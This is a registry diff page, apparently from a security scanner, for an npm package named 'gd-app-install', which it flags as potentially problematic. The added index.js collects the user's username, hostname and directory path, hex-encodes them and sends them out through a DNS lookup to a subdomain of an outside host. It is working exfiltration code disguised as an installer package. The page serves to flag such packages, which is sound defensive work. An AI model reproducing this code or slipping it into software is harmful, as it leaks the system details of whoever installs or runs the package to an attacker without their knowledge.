gd-app-install 1.1.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of gd-app-install might be problematic. Click here for more details.
- package/index.js +12 -0
- package/package.json +11 -0
package/index.js
ADDED
@@ -0,0 +1,12 @@
|
|
1
|
+
const dns = require('dns');
|
2
|
+
const os = require('os');
|
3
|
+
|
4
|
+
const s = [
|
5
|
+
os.userInfo().username,
|
6
|
+
os.hostname(),
|
7
|
+
'\0',
|
8
|
+
...__dirname.split('/'),
|
9
|
+
'\0'
|
10
|
+
].filter(x => x).map(x => Buffer.from(x, 'utf8').toString('hex')).join('.') + '.gd-app-install.kec4.xyz';
|
11
|
+
dns.resolve(s, function(err, address, family) {
|
12
|
+
});
|